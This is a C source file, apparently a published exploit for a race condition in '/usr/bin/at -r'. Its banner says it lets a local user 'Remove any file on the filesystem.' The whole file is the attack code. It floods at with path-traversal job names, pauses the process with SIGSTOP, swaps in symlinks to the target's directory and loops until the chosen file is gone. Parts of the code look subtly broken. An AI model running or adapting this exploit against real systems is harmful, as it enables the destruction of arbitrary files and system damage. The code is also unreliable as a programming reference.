#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#define maxjobs 256
#define tmpdir "/tmp"
#define at "/usr/bin/at"
char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];
void cleandirs(void);
void err(char * msg)
{
if (errno) {
int error = errno;
perror(msg);
cleandirs();
errno = error;
exit(errno);
}
}
void gohome(void)
{
char * home;
home = getenv("HOME");
if (!home) {
errno = EINVAL;
err("getenv(\"HOME\")");
}
if (chdir(home) < 0)
err("chdir($HOME)");
}
void cleandirs(void)
{
int no;
char * tmp;
for (no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
unlink(path);
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
rmdir(path);
}
}
void createdirs(char ** argv)
{
int no;
for(no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
int fd;
snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
path[MAXPATHLEN] = '\0';
unlink(path);
if (mkdir(path, 0755) < 0 && errno != EEXIST)
err("Unable to create directory");
snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
fd = open(path, O_CREAT|O_RDONLY, 0755);
if (fd < 0 && errno != EEXIST)
err("Unable to create file");
close(fd); /* empty file is just fine */
argv[no] = strdup(path);
if (!argv[no])
err("Unable to allocate memory");
}
argv[no] = NULL;
}
pid_t spawnat(char ** argv)
{
int no, fd;
pid_t child;
child = fork();
if (child < 0)
err("Unable to fork");
if (child)
return child;
/* child process */
if (nice(19) < 0)
err("Unable to change priority");
fd = open("/dev/null", O_RDWR);
if (fd < 0)
err("Unable to open /dev/null");
if (dup2(fd, STDIN_FILENO) < 0 ||
dup2(fd, STDOUT_FILENO) < 0 ||
dup2(fd, STDERR_FILENO) < 0)
err("Unable to dup /dev/null");
if (fd > STDERR_FILENO)
close(fd);
execv(argv[0], argv);
err("Unable to execute at binary");
}
int doit(char * target)
{
int no = 0;
char path[MAXPATHLEN+1];
char * argv[maxjobs + 3];
pid_t child;
uid_t uid = getuid();
int result = -1;
argv[0] = at;
argv[1] = "-r";
createdirs(argv+2);
child = spawnat(argv);
while (no < maxjobs) {
struct stat st;
/* check if previous attempt succeeded */
if (stat(target, &st) < 0) {
if (errno == ENOENT) {
result = 0;
break;
} else
err("Unable to stat target file");
}
/* wait until file is deleted */
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
while (stat(path, &st) == 0) ;
if (errno != ENOENT)
err("Unable to stat temporary file");
/* stop the child to exploit race condition */
if (kill(child, SIGSTOP) < 0)
break;
/* find first file that hasn't been removed yet */
while (++no < maxjobs) {
snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
path[MAXPATHLEN] = '\0';
if (stat(path, &st) == 0)
break;
if (errno != ENOENT)
err("Unable to stat temporary file");
}
/* all jobs removed - too late */
if (no == maxjobs) {
kill(child, SIGCONT);
break;
}
if (unlink(path) < 0)
err("Unable to remove temporary file");
*strrchr(path, '/') = '\0';
if (rmdir(path) < 0)
err("Unable to remove temporary directory");
if (symlink(targetdir, path) < 0)
err("Unable to create symlink");
if (kill(child, SIGCONT) < 0)
err("Unable to continue child process");
no++;
}
/* avoid zombie processes */
waitpid(child, NULL, 0);
for (no = 0; no < maxjobs; no ++)
free(argv + no + 2);
return result;
}
int main(int argc, char * argv[])
{
char * tmp;
fprintf(stderr,
"
/usr/bin/at -r race condition exploit
Remove any file on the filesystem.
Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research http://isec.pl/
");
gohome();
errno = EINVAL;
if (argc < 2)
err("Required parameter missing");
if (argv[1][0] != '/')
err("Absolute path required");
strncpy(target, argv[1], MAXPATHLEN);
target[MAXPATHLEN] = '\0';
tmp = strrchr(argv[1], '/');
*tmp = '\0';
if (tmp == argv[1])
strcpy(targetdir, "/");
else {
strncpy(targetdir, argv[1], MAXPATHLEN);
targetdir[MAXPATHLEN] = '\0';
}
strncpy(targetfile, tmp+1, MAXPATHLEN);
targetfile[MAXPATHLEN] = '\0';
while (doit(target))
fprintf(stderr, "."); /* przygarnij kropka */
fprintf(stderr, "Success!\n");
cleandirs();
return 0;
}